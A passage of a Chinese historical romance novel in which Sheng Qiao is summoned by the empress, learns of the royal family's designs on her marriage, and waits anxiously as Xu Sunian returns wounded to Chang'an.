一旁的崔怀连忙站出来请罪,解释道:“奴婢到燕国公府时,正见到三娘子和燕国公从外面回来,三娘子听说是娘娘召见,未敢耽搁,府门都没进就跟着奴婢进宫了。”
盛乔最近这段时间也是随性惯了,根本没想起来进宫还要更衣换上得体的正装。
只是阿爹怎么都不提醒她,盛乔在心里小声的抱怨,忙要请罪,却听朱皇后颇为无奈地点了点崔怀,“你啊,真是不会办差,本宫这儿又不是什么急事,至少也该让三娘子换了衣裳再来啊。”
说着,她连忙吩咐底下人上茶,上点心,然后叫盛乔到她跟前坐。
不知是不是因为从前几次进宫都是在场合盛大的宫宴上,总之在盛乔的印象里,朱皇后一向是个不苟言笑的人,且阿爹与她说过,惠国公府朱家和她们盛家,一向不怎么合得来,朱皇后如此态度,实在让盛乔摸不着头脑。
她又不敢表现出来,只能乖巧应是,然后走到皇后身边坐下。
朱皇后仿佛很喜欢她,亲自接了宫女端来的点心,摆到盛乔跟前,“本宫也不知你什么口味,这几样点心都是太子最爱吃的,想来你们年轻人的口味应当差不了太多。”
盛乔低眉顺眼地应了一声,心里却在想,太子年轻么?
虽然她不知道太子的具体年岁,但都已经成婚好几年了,没准现在孩子都有了,怎么也要二十来岁来罢,估计比徐肃年还大呢。
朱皇后不知她在想什么,见她一动不动,又催了一句,“怎么不吃啊?是不喜欢这几样点心么?本宫叫她们再去换几样送来。”
盛乔根本不想在皇宫多待,当然不想麻烦,她立刻就近捏起一块点心,“我很爱吃,谢娘娘关怀。”
但实际上,宫里的点心看着精致,其实并不好吃。
阿娘说那是因为要待客,为了定型,也为了能储存得更久,所以宫里的点心都用油炸过好几遍。
盛乔一向不喜欢炸物,自从知道这件事之后,宫宴上再也不想吃宫里的东西了,此时她捏着点心,只觉得满手都是油。
她心想,皇后娘娘已经是这世上最尊贵的女人了,平日却只能吃这样的点心,可见嫁给皇子也没什么好的。
想到这,她又忍不住开始琢磨,皇后娘娘叫她到底是为了什么?总不会真的是要给她指婚罢。
盛乔飞快地吃完一块糕点,然后对朱皇后说:“娘娘今日召我来,可是有什么事吗?”
朱皇后没立时答,只朝她笑了笑,然后对一旁的宫女抬了抬下巴。
宫女福身走出去,没一会儿手里抱着个托盘跪到盛乔身侧,托盘上盖着一块红布,看不见底下的东西。
朱皇后示意盛乔亲自揭开来看,盛乔伸手揭掉红布,只见那托盘上摆着的竟是一柄纯白的玉如意。
盛乔一下怔住了,看向朱皇后,“娘娘,这是……”
朱皇后笑着说:“这时陛下赏赐的,不可推辞。”
怎么又成陛下赏赐的了,盛乔觉得自己完全被绕糊涂了。
朱皇后大约也看出了她面上的疑惑,很是贴心地与她解释:“你二叔在边关频频传来捷报,陛下说不仅要赏赐他,还要赏赐盛府的女眷,于是特赏下这柄白玉如意。只是你二叔的家眷都不在长安,总不能叫你母亲和几个嫂子来领,本宫想着盛家阖府上下,惟有你这个尚未出阁的小娘子最有理由。”
说着,她亲手将那柄如意交到盛乔手上,“听你阿娘说,你也到了出嫁的年岁了,也算是本宫为你添一添妆罢。”
话已经说到了这个份上,盛乔除了领旨谢恩,还能说什么呢。
她本能地觉出几分不对劲来,但又说不上来哪里不对,糊里糊涂地跪下磕了头,又糊里糊涂地跟着崔怀出了凤仪宫。
直到出了后宫,穿过永巷,盛乔才后知后觉地反应过来。
皇后娘娘如此急切地召她入宫,难道就只为了赏赐她一柄玉如意?
她家又不是没有领过皇家恩赏,每次都是传旨太监直接带人送到府上,不过一柄玉如意而已,也值得如此大张旗鼓。
盛乔觉得奇怪,又想不出缘由,回去这一路上眉头都是皱着的。
崔怀在旁边瞧着她这表情,心想这盛三娘子恐怕已经猜到了皇后娘娘的心思,正想说些什么缓和一下气氛,就听不远处传来了说话的声音。
那声音对崔怀来说实在太过熟悉,他悄悄觑了一眼身边的盛乔,不动声色地引她往那边去。
盛乔对皇宫并不熟悉,见崔怀忽然引她拐到一旁的小路上,还以为是那边离得更近,不料没走几步,就听到有人说话。
能在这出现的人,定然不会是身份寻常的人,盛乔本能想要避让,可已经太迟了。
对面的人仿佛已经看到了她,扬声道:“是谁在哪?”
盛乔离得远,看不清对面人的样子,只能此时通过声音判断,知道是个男人。
她求助般地看了眼身旁的崔怀,崔怀却已经上前几步,远远地回道:“太子殿下,奴婢崔怀,奉皇后娘娘之命,送燕国公府的小娘子出宫。”
居然是太子,盛乔惊讶之余,忽然想起方才朱皇后说的那番话。
太子到底年不年轻?
从前宫宴上只是遥遥见过几次,但从未真正看清过太子的脸,盛乔此时莫名有些好奇太子的模样,可又不敢抬头。
对面一阵由远及近的脚步声,最后停在了她身前几步远的地方。
“参见太子殿下。”
盛乔低眉敛目地俯身行礼,从她的视线看过去,只能看到太子殿下绣着蟒纹的锦袍。
对面的太子却没叫起。
盛乔正有些惴惴,忽听得一道女声悠悠开口,“是燕国公府的小娘子,抬起头来,让我瞧瞧。”
能立在太子身边的女人,应当就是太子妃朱氏。
盛乔顺从地抬起头,只是眉眼依旧垂着,并不能看到太子和太子妃的表情,也就没看到太子眼中一闪而过的惊艳,和太子妃眼里若隐若现的敌意。
“盛三娘子免礼。”
太子抬手虚扶了一把,然后看向崔怀托着的那柄玉如意,“这是?”
崔怀替盛乔解释了一番。
太子摸了摸下巴,然后对盛乔道:“燕国公府世代忠良,不止是宣威将军,燕国公更是我大梁朝的肱骨之臣。”
他一边说着,一边朝身旁的太子妃吩咐了一句,“父皇如此,本宫也不能失礼,太子妃,回头替本宫也备一份赏赐,送到燕国公府。”
太子妃似有些不愿,但碍于人前,终究没说什么,恭敬地应下。
太子又与盛乔闲言寒暄了几句,然后说:“时辰不早了,本宫和太子妃还要去给母后请安,不耽搁盛三娘子回家了。”
“崔怀,好生护送盛娘子出宫。”
“是。”
总算是能走了,盛乔本就不喜欢与陌生人打交道,何况是身份比她还高的陌生人。
她最讨厌没话找话。
幸而没待太久,等太子和太子妃一走,盛乔总算松了口气,她看了看天边已经落下的太阳,步子都急切起来,
“崔公公,我们快走吧。”
玄元殿。
庆和急匆匆走进来的时候,崇安帝正在批折子,见他进来也没有搁笔,只略抬了抬眼,问道:“朱氏叫人把盛家那丫头送出去了?”
“是。”庆和点了点头,详细地回禀,“盛娘子出去的路上,还遇到了进宫给皇后娘娘请安的太子和太子妃。”
听到这话,盛怀义冷笑一声,“朱氏还是这样,贪心不足蛇吞象。”
纵然帝后不合,但那到底是皇后娘娘,这话皇帝说得,庆和却不敢接。
崇安帝也没等他接,自顾自道:“哪有那么巧的事儿,看来他们母子是通过气了,知道惠国公府不安定,决心要拉拢盛家了。”
惠国公府如今一年不如一年,皇后虽也姓朱,可对她来说,太子比家族更重要。
她不会和惠国公府共沉沦,只会替太子另找出路。
燕国公府就是她选的那条路。
崇安帝不怀疑朱皇后会另找出路,只是没想到她最终也找到盛家。
但想想朝中的几位忠臣,也就只有盛家了,既有燕国公盛怀义的爵位和名望,又有手握军权的宣威将军崔怀章。
当时他不就是因此才想把盛家的小女儿纳入后宫的吗?
只是他毕竟是要拉拢盛家,不想将盛家推远,所以才没有直接下旨,反而是私底下给了盛怀义一些暗示,想让他主动献女。
不料他那么不识抬举,竟然私底下悄悄和丹宁结了亲家,且动作如此之快,以至于他得到消息时,徐家已经往燕国公府下了聘礼了。
崇安帝大怒,可过了聘礼,这桩婚事就算是木已成舟。他再不甘心也不能和徐肃年抢女人,否则传出去岂不是堕了他的名声。
原以为这件事就这么过去了,崇安帝本没再注意那位盛小娘子,只是盛怀义突然告假出京让他起了疑心,他派人去查,才知道那小娘子已经逃婚去了洛州。
想到徐肃年也在洛州,崇安帝本想下旨让徐肃年替他说服盛怀义,不料他的圣旨还没传出京城,反而是徐肃年求婚的密折先到了。
所有子侄中,徐肃年最得他的宠爱,就是因为他最聪明,最能体察帝心。
可这次的事,徐肃年不仅没能依着他的心思来,反而与他对着干,这让崇安帝如何不恼怒。
他自然是不想答应这桩赐婚的,可眼见朱氏和太子那边又生出了心思,除非他立刻下旨让盛乔进宫,否则还不如把她赐给徐肃年。
毕竟不到万不得已,他是不想动盛家的。
当年随太祖打天下的七公府,这些年只剩朱家和盛家还屹立未倒,不是因为他们功劳最大,而是因为这两家势力最大。
若是两家皆出了事,只怕朝廷也就空了。
何况如今边疆不稳,他还需要盛怀章给他稳固边关,盛家还动不得。
如此一来,不若成全了徐肃年,至少他对自己忠心。
想到朱氏届时听闻此事气急败坏的样子,崇安帝就有些想笑,“呵,这朱氏不愧是惠国公府出来的,真是一脉相承地愚蠢。”
惠国公府把控朝政多年,一直都是崇安帝的逆鳞,庆和不敢戳皇帝痛脚,又不能一直不接话,干脆直接奉承皇帝,“都是陛下英明,端阳侯和卢大人也能干,洛州的事顺利解决,才能有如今这局面。”
他本是一句无心的奉承,不料崇安帝听到这话,却是眉头蹙了蹙。
对于自己想要铲除朱家的心思,徐肃年是心知肚明,洛州的事不算麻烦,他却一直拖到今日,难道早猜到皇后会转了心思拉拢盛家?
那徐肃年知不知道,他会因此答应赐婚?
没有任何一个皇帝会喜欢和自己耍心思的臣子,哪怕他是自己一向宠信的亲外甥。
崇安帝脸色沉了下去-
盛乔走出宫门,便看到了自家的马车,她与崔怀知会一声,然后亲自接过那柄如意,飞快跑向马车。
不知是不是听到了她的脚步声,车帘被人掀开,一身华服的郑夫人从里面探出头来。
这么久未见女儿,郑夫人还没开口眼眶就湿了,她连忙拿帕子抹了抹眼睛,然后朝她招呼道:“阿乔!”
早有候在一旁的婢女上前接过盛乔手里的东西,还有人伸手要去扶小娘子上车。
但盛乔根本没等人扶,自己扶着车门就爬了上去,她像只活泼的小兽,直直扑向郑夫人的怀里,“阿娘!!”
母女俩一见面,眼泪就再也忍不住了,直到马车开出去两条街,盛乔还伏在郑夫人的怀里抽噎个不停。
郑夫人倒是稍微缓过点劲儿来了,她拿帕子擦干眼泪,然后扶着盛乔的肩膀,将她上上下下打量了好几遍,这才心疼地开口,“瘦了,怎么瘦了这么多。”
“在洛州吃苦了罢。”郑夫人心疼地将女儿抱在怀里,嘴上却是嗔怪的语气,“看你下次还敢不敢离家出走了。”
盛乔圈着她的手臂,小声道:“一辈子都不离开阿娘了。”
“哼,就会哄阿娘开心。”郑夫人嘴上这么说,实际上心里十分受用,她看着盛乔哭得像只小花猫似的,亲自拿了帕子给她擦脸,“出去一趟嘴巴倒是变甜了。”
盛乔没说话,只又往母亲怀里蹭了蹭。
母女二人依偎许久,直到郑夫人的胳膊都有些发麻,她才终于将盛乔推开了些,然后转头看向桌上摆着的礼盒,问盛乔,“皇后叫你进宫是为何?”
盛乔艰难止住眼泪,断断续续地将方才在宫里发生的事完整叙述了一遍,然后又指了指桌上的盒子,说:“那就是皇后娘娘赏的玉如意。”
当着盛乔的面,郑夫人表面没说什么,心里却已经隐约猜到了皇后的意思。
赏赐家眷这样拙劣的借口,也就骗骗阿乔,明眼人都知道这就是冲着阿乔来的。
否则怎么会那么巧,太子早不进宫晚不进宫,偏偏在阿乔出门的时候进宫向皇后请安,还在路上撞了个正着。
只是太子已经娶妻两年有余,且除了正妃之外,东宫还有数不清的姬妾侧室,皇后难得得了失心疯,想让她家阿乔去给人做妾?
郑夫人眼中的情绪一点点沉了下来。
盛怀义在洛州没待几天,除了一封报平安的家书之外,便再没有别的消息传回来。
因此郑夫人现在还对那车夫的事一无所知,她有心想问问阿乔,但见她这眼泪汪汪的模样,还是暂且将疑惑压了下去。
等回了家,盛乔第一时间就想去见大哥和大嫂,郑夫人连忙拦住她,“你大嫂怀了孕,你大哥这几天陪她回娘家小住了。”
原本还有些失望,但听说大嫂怀孕了,盛乔又立刻高兴起来。
瞧着女儿孩子气的模样,郑夫人是又惆怅又好笑。
她这永远长不大的宝贝女儿呦,哪里舍得将她嫁出去呢。
郑夫人默默感叹一番,心里不由得又有点泛酸,她不想让盛乔看见,忙吩咐身边的婢女送阿乔回院子,然后嘱咐道:“在外面野了几个月,回去好好泡个热水澡,然后早些休息,知道吗?”
盛乔很乖地点了点头,转身回自己的院子了。
目送盛乔离开后,郑夫人也回了她和盛怀义平日所居的明辉堂。
盛怀义已经换了身居家的常服,正靠在榻上看书,听到脚步声抬起头来,“把阿乔送回去了?”
郑夫人点了点头,带了点嗔怪看他,“阿乔出去怎么瘦了那么多,你这些天怎么不给她好好补补。”
这也怪他?
盛怀义颇觉冤枉。
郑夫人也觉出自己这迁怒有些没有道理,叹了口气,走到盛怀义身边坐下,然后说:“你怎么不问我皇后今日召阿乔进宫,是为的什么?”
盛怀义合上书,“还用问吗?猜也能猜到了。”
“说说?”
“只怕皇后是有心让阿乔入东宫罢。”
还真叫这人猜对了,郑夫人苦恼地揉了揉太阳穴,“他们父子两个还真是如出一辙的想法,一个比你年纪还大,一个有妻有妾,竟也生出这往龌龊
的念头。”
盛怀义叹道:“谁让咱们盛家就剩阿乔一个还未成亲的女儿了呢。”
郑夫人也跟着叹了口气,然后又忽然想到什么,连忙问道:“对了,你还没告诉我呢,那个车夫怎么回事?”
盛怀义便一五一十地将徐肃年是如何假扮车夫与盛乔一路同行至洛州的事告诉了郑夫人。
郑夫人听得是目瞪口呆,好半天才反应过来,“所以你的意思是,墨儿在信里说的那个车夫,就是端阳侯徐肃年?”
盛怀义叹道:“是啊。”
“这……”
郑夫人忽然有些不知道说什么了,若不是盛怀义亲口对她讲,如此曲折凑巧的事,她就算听了也不会相信的。
好半天,她才问道:“那现在怎么办?这过是退还是不退?”
盛怀义看她一眼,问道:“依着夫人的意思呢?”
郑夫人说:“其实我心里是不想退的,既然徐肃年和咱俩阿乔有缘,何必再多次一举的退婚,先前只有一个陛下虎视眈眈,可他到底还算顾忌盛家,东宫那边,可是什么事都做得出来。”
说完又叹了口气,“只是阿乔那性子,不知道她能不能受得了。”
盛怀义道:“哪能受得了,早在洛州就和我说要退婚了。”
……
盛乔是回到院子之后,才想起郑墨给自己买的那些土仪,于是沐浴过后,便带着两个丫鬟来到了明辉堂。
一进荣辉堂,却见平日都在内室贴身伺候的秋盏和冬岁正在廊下翻花绳。
见了盛乔,忙起身过来问好,“小娘子回来啦。”
“姐姐们怎么在廊下吹风?”盛乔朝她们弯了弯眼睛,“难不成我阿爹阿娘这么早就歇下了?”
“早回来了。”秋盏把花绳塞进袖口,笑着回,“公爷和夫人正说话呢,就把奴婢们打发出来了。”
“小娘子是不是有事,奴婢进去给您通报一声?”冬岁忙问。
“我自己进去吧。”
知道阿爹阿娘都是晨起就出门了,这一日下来难免疲累,盛乔担心他们是在休息,故推门的时候特意放轻了动作。
内室盛怀义和郑夫人正全神贯注地说话,外间也没有通报声,一时也就没有注意有人进来。
两人仍在说话。
除了阿乔的反应,郑夫人最关心的就是那位端阳侯了,毕竟听盛怀义这番叙说,他对阿乔应当是有感情的。
于是,郑夫人问道:“那徐肃年呢?他如何反应?”
盛怀义道:“他向陛下请旨赐婚了。”
“什,什么?”纵然他是请旨赐婚的对象是自己的女儿,但郑夫人仍旧很是惊讶,“他,他是不是不知道……”
盛怀义摇了摇头,说:“他是个聪明人。”
郑夫人不敢相信,“他居然知道?”
“可他若猜到了我们急匆匆将阿乔嫁出去,是陛下有意让阿乔入宫,竟还敢向陛下请旨赐婚?”
“虽然他是陛下宠信的外甥,可陛下那脾气,你我都清楚,别说是亲外甥,就算是亲儿子也不是不能舍弃,否则当今太子如今哪会是这个性子。这徐肃年就不怕陛下震怒之下,影响他的前程?”
郑夫人这番话,盛怀义又如何不明白,也正是因此,他才愿意给徐肃年一个机会。
因为不想阿乔有负担,所以他们一直没告诉阿乔内情,徐肃年在这个时候请旨赐婚,为的其实不是自己,而且阿乔。
他只要将此事告诉阿乔,阿乔是个吃软不吃硬的性子,就算再生他的气,知道之后一定会动摇的。
但徐肃年和他们一样,选择瞒着阿乔。
这份心意,纵是盛怀义也有些动容,他叹道:“只怕不止是前程……”
一句话未说完,忽听哐当一声,外面传来一道奇怪的闷响。
盛怀义和郑夫人齐齐一愣,紧跟着外面传来冬岁的声音,“啊呀,小娘子,您没伤到手罢。”
“阿乔?”
盛国公和郑夫人闻言急忙起身来到外间,正看到门口呆立着的阿乔。
瞧她那模样,已不知在门口听了多久。
第47章 重逢两人视线交汇
盛乔站在门口,脚边散落着几个碎瓷片,不知道是什么东西打碎了。
冬岁很有眼力见地将碎瓷片都收拾走了。
“阿乔,伤着没有??”
盛怀义和郑夫人将围着的婢女都打发出去,然后快步走到盛乔身边,担心地看向她在身前搅紧的手指。
盛乔迟缓地摇了摇头,看着还有些呆愣愣的,一副没反应过来的样子。
过了好半晌,盛怀义才叹气问了一句,“阿乔,你什么时候过来的?”
盛乔没说话。
但盛怀义一看她这个表情,也能猜到了,他有些无奈的问:“是不是都听到了?”
盛乔抿着嘴唇点了点头,她抬头看向盛怀义,问:“阿爹,你和阿娘方才说的是真的么?”
听到这话,盛怀义和郑夫人对望一眼,不知是该点头还是摇头。
但其实盛乔在心里已经有了答案,今日在凤仪宫的时候,她就觉得皇后的态度有些不对劲,但一时又说不出到底是哪别扭,直到方才听到阿爹阿娘的谈话,她才终于明白过来,原来皇后和太子竟对她藏着这样的心思,甚至就连皇帝陛下都有此意。
盛乔茫然中甚至有些后怕,她一想到自己曾有有可能会成为皇帝的女人,就觉得浑身恶寒,手臂上的汗毛都要竖起来了。
难怪阿爹和阿娘那么急着给她订婚,原来是这个原因。
想到自己当时撂下一封信就跑到洛州的行为,盛乔忽然有些愧疚,她轻轻咬了下唇,看着爹娘,小声道歉:“阿爹阿娘,对不起,我当时不该……”
不过认错的话还没说完,就被郑夫人先打断了。
她走过来将盛乔搂在怀里,温热的掌心在她的脸侧轻轻捏了捏,轻哄道:“哪能怪你,阿爹阿娘一向不与你说这些朝政上的阿臜事,你一个未出阁的小娘子,如何会懂得这些?”
虽说不怪,但盛乔心里也不是很好受,如果她当时能与阿爹、阿娘好好谈谈就好了,这段日子她在洛州是自由自在了,可阿爹阿娘却并非如此。
她今日一看见阿娘,就觉出她比先前清瘦了许多。
盛乔心里愈发愧疚,抬头看向爹娘的眼神都湿漉漉的,仿佛一眨眼都要掉下泪来。
“傻孩子。”
盛怀义看着阿乔那模样,掏出一方帕子,替她擦干眼泪,然后安慰道:“不能只怪你,阿爹就是不希望你心里有负担,所以才不许你阿娘告诉你。若是咱们盛家沦落到要让我的宝贝女儿去联姻换取荣耀,你阿爹日后还有个颜面去见祖宗。”
说完,他还故意叹了口气。
盛乔被这话逗笑了,笑出来的时候睫毛还是湿润的。
盛怀义观察着她的表情,然后接着道:“何况天无绝人之路,让你在洛州又遇到了端阳侯。”
一听到徐肃年,盛乔又不自觉地垂了垂眼睛,她犹豫了一下,才问道:“阿爹,他真的会……因此得罪陛下吗?”
其实盛怀义心中已经差不多有答案了,毕竟所有的君主都希望自己的臣子能永远地忠诚于自己,尤其是自己喜爱的臣子。
在崇安帝心里,徐肃年该是那个帮着自己劝服盛乔入宫的人,而不是在明知他的心思之后,还上书求婚。
这在皇帝的眼中,与挑衅无意。
尤其是像崇安帝这种曾经历过被外戚操控的皇帝。
就算徐肃年是他亲儿子,只怕也会遭到冷落,何况他只是一个外甥。
对于徐肃年此举,盛怀义惊讶之余也有几分动容,毕竟这算是以前程换取阿乔的婚事。
可面对阿乔此问,他也不希望女儿真的就为此愧疚,从而嫁给他。
婚姻大事不是儿戏,盛怀义还是希望盛乔能够慎重选择,跟随自己的内心。
于是,盛怀义说:“徐肃年身份不同,到底有亲缘关系在中间系着,哪会
真的生他的气,何况他此去洛州也是立了大功,放心罢。”
有盛怀义这番话,盛乔总算是松了口气,缓缓点了点头。
盛怀义见她神情仍有些低落,给郑夫人打了个眼色。
郑夫人会意,转移话题道:“这么晚了,怎么不在院子里歇着?”
盛乔这才想起来自己是来干嘛的,“我突然想起表姐给我买了许多洛州的土仪让我带回来,想着拿来给阿娘和阿爹瞧瞧……”
郑夫人立刻道:“在哪呢,拿来给阿娘瞧瞧……”
盛乔朝外唤人,“琉璃,青玉,把东西拿进来罢。”
她身边一共有四个一等丫鬟,分别是琥珀、琉璃、青玉和珊瑚,琥珀一路跟着她很是疲累,盛乔让她先去歇着了,珊瑚则帮她在收拾拿回来的行李。
琉璃和青玉一人抱着一个木匣子走进来,郑夫人和盛怀义对望一眼,揽着盛乔一同走进了内室。
郑墨是个心思玲珑的人,知道长安什么都不缺,因此买的东西不贵重,却新奇小巧,其中有几张绣着洛绣的帕子,针脚细密精致,图案栩栩如生。
郑夫人年少时家就在洛州,自然不觉得新奇,但为了不让盛乔一直沉浸在方才的情绪里,特将每一样物件都拿出来品玩赞赏一番。
盛乔坐在两人边上,手里捏着一方绣着鱼穿荷叶的帕子,看似在听他们说话,实际上走神了好一会儿了。
这方帕子让她想到了徐肃年当时送给她的那个荷包,也是这样的图案。
她当时爱不释手,但在得知徐肃年的真实身份之后,就把他送给自己的东西都还给他了。
她的恼怒和拒绝那么明显,他为何还要这样呢?
盛乔觉得脑袋里乱乱的,种种情绪交织在一起,团成一团乱麻,就连她自己也说不清是开心还是什么,只是心里有些酸酸的。
直到离开明辉堂,回到了自己的荣雪园时,她仍旧心乱如麻。
小娘子今日赶了一天的路,琉璃想伺候她早点歇下,但盛乔并无倦意,摇了摇头,吩咐道:“时辰不早了,你们都去睡罢,把灯留下几盏就是了。”
琉璃也是打小就伺候盛乔,自然能感觉到自家小娘子此时心情不佳,于是故意道:“奴婢也不困呢,小娘子若是不想睡,不如同奴婢说说话罢,您此去几个月,奴婢都想死您了。下次您可不能只带着琥珀,不带我们了。”
盛乔笑着说:“还有下次啊,你还想让我逃几次婚?”
怕触到盛乔的伤心事,琉璃转开这个危险的话题,问:“对了,小娘子,洛州好玩么?”
“洛州啊……”
盛乔眼睛眨了眨,不知想起了什么,半响才缓缓点了点头,“很好玩。”-
明辉堂。
盛怀义已经躺下安置了,郑夫人坐在妆台边梳头发,心里还是惦记着盛乔,“怀义,你说,阿乔心里到底是怎么想的?”
盛怀义翻了个身,说:“小女儿家的心思,我哪会懂。”
“那怎么办?”郑夫人柳眉紧紧蹙着,叹道,“只要阿乔这婚事一天不定下来,我就一天放心不下。”
盛怀义不用抬头就能猜到妻子此时的表情,定然是愁云满布,他安慰道:“放心罢,很快就知道答案了。”
郑夫人放下梳子走到床边,“你怎么知道?”
盛怀义已经闭上了眼,道:“徐肃年不会在洛州待太久的。”
洛州的事并不算麻烦,只是前期查清每一个官员的背景耗费了极大的功夫,待一一查清之后,徐肃年也不必再在洛州待下去,他毕竟还是大理寺卿,不能离开长安太久,剩下的事交给卢烨处理就是。
原本皇帝此次派卢烨跟着,就是想让他历练一番,徐肃年若处处都做得太过周到,反而有揽权之嫌。
卢烨心里也清楚,因此并不意外徐肃年会提早离开的事。
回程定在三日后,徐肃年正在书房看书,徐肃景敲门走进来,手里还端着一杯茶。
“大哥,喝茶。”
徐肃年抬头看他一眼,“找我有事?”
徐肃景把茶杯摆到徐肃年手边,撇了撇嘴,“就不能是做弟弟的关心大哥么?”
徐肃年懒得拆穿,端起茶杯喝了口茶,说:“好,那你出去罢。”
先前盛三娘子还在的时候,大哥还愿意与自己多说几句话,现在盛娘子回了长安,大哥的耐心仿佛也跟着一并走了,平日连个笑模样都瞧不见。
徐肃景抿了抿唇,有些犹豫,但还是道:“大哥,洛州的事,应当还没有完全办完罢,您这么快就要回去么?”
徐肃年说:“陛下派我来洛州,就是让我暗查洛州府的官员,我已尽数查清,并呈上密折禀报陛下了,还在这儿待着做什么?”
只查就行了么?
难道不需要处置那些官员吗?
他千里迢迢来洛州一趟,难道什么都不做就回去?
徐肃景不明白,可是看着兄长那无甚所谓的表情,忽然又不知如何开口了。
少年人到底天真,徐肃年又如何猜不到自家二弟心里在想什么。
只是在朝为官者,最忌讳的就是多管闲事。
他已经做好了他该做的,剩下的无论是查处官员,还是恢复民息,都该由陛下做决定。
何况,他此前为了阿乔的事,已经在洛州耽误够久的了。
几个月过去,大理寺的案子只怕又堆积成山了。
但这话徐肃年并不想告诉徐肃景,少年人就该有一股无惧无畏的锐气,这些话就算告诉他,他也不会理解的,有些事,注定只能让他自己去经历。
徐肃年看了他一会儿,直接点破了他这会儿过来的目的,“二郎,你是不是不想跟我回去?”
没想到兄长一眼就看出来了,徐肃景有些愣怔,但还是很快点了点头,有些委屈地说:“但阿娘不许我留下,大哥,你能不能帮我劝劝阿娘啊。”
本以为徐肃年也不会同意,徐肃景甚至都做好了要软磨硬泡的准备,没想到才刚说完,就见大哥点了点头。
徐肃景还有些没反应过来,好半天才惊喜地问道:“大哥,你答应了?”
徐肃年说:“阿娘不答应,是不放心你一个人在洛州,我把齐甄和齐源给你留下,你想留就继续留在洛州罢,你也十八了,的确该是锻炼锻炼了。”
他这次的请婚折子递上去之后,陛下的心情必然不会太好。
到时候,陛下为了冷落他,只怕会想起徐肃景来,与其靠着身份一步登天,成为一把一无所知的刀,还不如现在洛州好好历练一番。
不过这话徐肃年自然不会和徐肃景说,只又叮嘱了一番,便让他先出去了。
徐肃景高兴应下,临出门前,又忽然想起了什么,回头问道:“可是,大哥你把齐甄和齐源留给我,你回去路上怎么办?”
徐肃年挑挑眉,“怎么,不相信你大哥的身手?”
“当然相信了!”徐肃景连忙摇头,他当然了解大哥的身手,可洛州离着长安也不近,万一路上出事了该怎么办?
“只是……”
他还想再说什么,但还未说完就被徐肃年打断了,“放心罢。”
徐肃年轻笑着勾了勾唇,眼神里满是笃定,“你大哥自有安排。”
长安的天气虽没有洛州那么热,可随着日子一天天入了夏,盛乔的心里也愈发烦躁了起来。
尤其不知为什么,今年长安的夏天分外多雨,就算盛乔平时不爱出门,可雨水太多,就会让人心情不郁。
屋子里太闷,开窗也透不进去半点凉意,盛乔干脆叫人把美人榻搬到了廊下,又在周围摆了冰鉴,一边听着淅淅沥沥的雨声,一边看书。
只不过明眼人都能看得出来,盛乔此时的心思根本不在书上,因为她已经靠在榻上两刻多钟了,指尖还停留在第一页。
她眼睛定定地盯着手里的书,但实际上脑子里全是昨日她想去看三哥三嫂时,在门外听到两人说的那些话——
“昨日听陛下提起,说是端阳侯这两日就要回来了……”
“已经进京了吗?”
“没有,听说路上遇袭,在祈年镇休养了几日,我估摸着最快也要明天晚上才能到长安罢。”
“什么?居然遇刺了?可有性命危险么?”
“听陛下那个语气,应当是没什么生命危险,而且端阳侯也只
休养了几天,这不就又快马加鞭地往京城赶了。”
……
自上次在明辉堂不小心偷听还摔了东西之后,盛乔这次便多了几分谨慎,再惊讶也捂着嘴巴不敢出声,只可惜三哥三嫂仿佛只是闲聊,她等了半天也只听到了几句,后面两人又转到别的话题上去了。
原本盛乔是来找三嫂说话的,此时也没了心情,匆匆回到了自己的院子。
徐肃年居然受伤了。
他受了伤还在急什么呢?难道不应该好好养伤么?
这几天又一直在下雨,路上不知有多泥泞,他竟然还骑马回京。
盛乔从听到这件事之后,就一直烦到现在。
她一边和自己说,这与自己没关系,不要去想,一边又忍不住担心徐肃年。
以至于昨晚睡觉还梦到了徐肃年——
梦到两人在一起骑马,徐肃年穿着那件深绯色的衣裳,跟在她的后面。
她大约是觉得他走的太慢,伸手想去拉他,但没有碰到他的手,而是先挨到了他的袖子。
而他的袖子竟然是湿的!
盛乔奇怪地看过去,才发现他身上的衣裳根本不是深绯色,而是浸满了鲜血。
盛乔一下子被吓醒,然后就再也睡不着了。
此时盛乔又莫名想到了那个梦,手里握着的话本都被她不知不觉地揉皱了。
昨天三哥说,徐肃年大约今天傍晚到长安。
眼看就要到酉时了,徐肃年到长安了吗?
盛乔的视线不知不觉间挪到了廊下,厢房屋檐下水珠顺着瓦片滴落,形成一片断断续续的雨幕,盛乔凝神望着那一片朦胧,忽然不知从哪生出一股子决心。
她扔了手里的书从榻上爬起来,琥珀端茶过来正好看到这一幕,忙问道:“小娘子,您这是做什么去啊?”
盛乔道:“备车,我要出门。”
琥珀惊讶道:“小娘子,这外面还下着雨呢?您这时候出门是有什么急事吗?奴婢替您去办罢,您……”
可还没说完,就被盛乔打断了。
她语气急切,“不,我就要现在出去!”-
长安下了一整天的雨,徐肃年纵使穿了蓑衣和斗笠,衣裳也淋得半透,他身上的伤虽然不算重,但当时毕竟是见了血,冰凉的雨水渗进去,整条左臂都跟着发麻。
来的路上也颇为泥泞,他这一路快马加鞭,袍角上溅得全是泥点子,纵是徐肃年这个平日里不是计较这些的人也有些受不了了。
回京第一件事定然是入宫面圣,可穿成这幅样子也实在太不成体统。
徐肃年本想先回府换身干净的衣裳,但才刚入丹凤门,就听身后跟着的太监说:“侯爷,陛下有吩咐,让您进京之后即可去见他。”
这太监是前几天跟着太医一起被皇帝送过来的,之后就一直没走,一路上都在跟着。
说是随行照顾,实际上是皇帝给他的一个警告罢了。
徐肃年对皇帝的用意心知肚明,因此听到这话也没说什么,纵马就往皇城里去。
大约半个时辰后,他跟着小太监一路来到皇帝平日会见臣子的永德殿。
庆和早知他今日回来,一直在门口侯着。
对于皇帝身边的大太监,徐肃年一向客气,他将怀里用好几层油纸布包着的账本交给他,然后朝殿内看了看,问道:“陛下可有空见我?”
庆和就是来给崇安帝传话的,他接过徐肃年递来的东西,然后笑着说道:“侯爷这会儿来得不巧了,陛下正在和刑部的赵大人、陈大人说话呢,您怕是要在雨里多等一会儿了。”
这话说得客气,实际上透出来了两个意思:一是陛下不想见他,二是陛下让他在雨里等。
这就是变相地惩罚了。
徐肃年并不意外,坦然地应了一声是,然后走到殿外的广场上跪下。
其实,若只是一个求旨赐婚的事,陛下不会如此动气,徐肃年先前想着,陛下或许都懒得训斥他,只再另提拔几个年轻人将他扔在一边就算是敲打了。
至于眼下这态度,估计是以为他前两天遇刺的事是故意为之,想要刻意讨他的怜惜。
但苍天有眼,他虽然的确是故意挨了这一刀,却不是为了给崇安帝看的,而是想在阿乔面前装可怜的。
